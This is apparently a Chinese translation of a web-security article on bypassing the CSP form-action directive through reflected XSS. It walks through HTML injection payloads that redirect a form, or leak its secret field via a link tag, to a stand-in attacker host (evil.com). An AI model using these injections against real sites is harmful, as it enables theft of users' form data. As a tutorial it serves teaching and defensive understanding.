<h2>0x01 简单介绍</h2>    <p>CSP(Content-Security-Policy)是为了缓解XSS而存在的一种策略, 开发者可以设置一些规则来限制页面可以加载的内容.那文本中所说的form-action又是干啥的呢?用他可以限制form标签"action"属性的指向页面, 这样可以防止攻击者通过XSS修改表单的"action"属性,偷取用户的一些隐私信息.</p>    <h2>0x02 实例分析</h2>    <p>上面讲的太抽象了, 如果不想看的话可以直接跳过....具体一点, 现在使用的是chrome浏览器, 假设下面这个secret.html是可能被XSS攻击的</p>    <pre>  <code class="language-html">#!html  //XSS在这里, victim.com/secret.html?xss=xss  <form method="POST" id='subscribe' action='oo.html'>    <input name='secret' value='xiao_mi_mi'/>         //小秘密  </code></pre>    <p>如果这个站点没有CSP, 攻击者可以直接通过XSS修改</p>    <pre>  <code class="language-html">#!html  <form method="POST" action='http://evil.com/wo_de_mi_mi.php'>   //我的秘密  </code></pre>    <p>当用户傻傻地进行"正常'操作时,小秘密已经悄然变成攻击者的秘密了.然后,有一个管理员试图用CSP防止这个问题, 他使用白名单策略限制外部JS的加载并且不允许内联脚本, 好像安全性高了一点.</p>    <p>攻击者想了下, 把页面改成下面这个样子</p>    <pre>  <code class="language-html">#!html  <div><form action='http://evil.com/wo_de_mi_mi.php'></div>  <form method='POST' id='subscribe' action='oo.html'>  </code></pre>    <p>在原本的form之前又加了一个form标签, 这个新的form标签没有闭合,并且直接碰到了老form标签, 这个时候会发生什么呢?</p>    <p><img src="https://simg.open-open.com/show/183565b925441d0155353294e354a5de.png"></p>    <p>老form标签就这样消失了! 所以攻击者再次把用户的小秘密发送到了自己的服务器上, 而且这时本来应该是POST的secret因为老form标签的消失现在变成了GET发送, 请求变成了下面这样.</p>    <p><img src="https://simg.open-open.com/show/f5c3c5fcf684f931a39d3693f05e0a6e.png"></p>    <p>这下管理员郁闷了, 最后索性用CSP加上了form-action来白名单限定form标签的action指向, 那么这样是否还会出现问题呢?</p>    <p>一起来回顾一下, 现在有一个不能执行JS的反射型XSS和一个只能往白名单域名(当然没有攻击者域名...)指向的form标签.</p>    <p>原secret.html</p>    <pre>  <code class="language-html">#!html  // XSS位置, victim.com/secret.html?xss=xss  <form method="POST" id='subscribe' action='oo.html'>    <input name='secret' value='xiao_mi_mi'/>  </code></pre>    <p>最后攻击者的改过的页面如下</p>    <pre>  <code class="language-html">#!html  <input value='ByPass CSP' type='submit' form='subscribe' formaction='' formmethod='GET' />  <input type='hidden' name='xss' form='subscribe' value="<link rel='subresource' href='http://evil.com/wo_de_mi_mi.php'>">  // XSS, victim.com/secret.html?xss=xss  <form method="POST" id='subscribe' action='oo.html'>    <input type='hidden' name='secret' value='xiao_mi_mi'/>  </form>  </code></pre>    <p>这里有几处tricky的地方, 整个代码的步骤如下</p>    <ol>     <li> <p>input标签的form/formmethod/formaction将老form POST到oo.html的secret变成GET发送到secret.html即当前页面.</p> </li>     <li> <p>跳转后仍处于secret.html因此该页面的XSS还可以被二次利用注入恶意标签, 这里又利用第二个input标签增加GET请求的xss参数, 所以跳转之后的URL变为</p> <pre>  <code class="language-html">#!html  http://victim.com/secret.html?secret=xiao_mi_mi&xss=<link rel='subresource' href='http://evil.com/wo_de_mi_mi.php'>  </code></pre> </li>     <li> <p>此时secret.html再次触发XSS, 被攻击者加入下面标签</p> <pre>  <code class="language-html">#!html  <link rel='subresource' href='http://evil.com/wo_de_mi_mi.php'>  </code></pre> </li>     <li> <p><img src="https://simg.open-open.com/show/db836b8a568f3db874aff02e1388b328.png"></p> </li>    </ol>    <p>正是最后这个link标签泄露了本该POST发送的secret, 攻击者通过利用一个反射型XSS将CSP的form-action绕过.</p>    <h2>0x03 最后</h2>    <p>CSP能够从某种程度上限制XSS, 对网站的防护是很有益义的. 不过相比国外经常能够看到相关的讨论,国内CSP的推进和热度却是比较不尽人意的, 同时关于CSP也有很多有意思的安全点, 特此翻译出来以供大家学习和参考.</p>    <p>原文链接: <a href="/misc/goto?guid=4959670312374342631" rel="nofollow,noindex">https://labs.detectify.com/2016/04/04/csp-bypassing-form-action-with-reflected-xss/</a></p>    <p>来自： <a href="/misc/goto?guid=4959670312462324496" rel="nofollow">http://drops.wooyun.org/tips/14686</a></p>    <p>翻译:SecurityToolkit</p>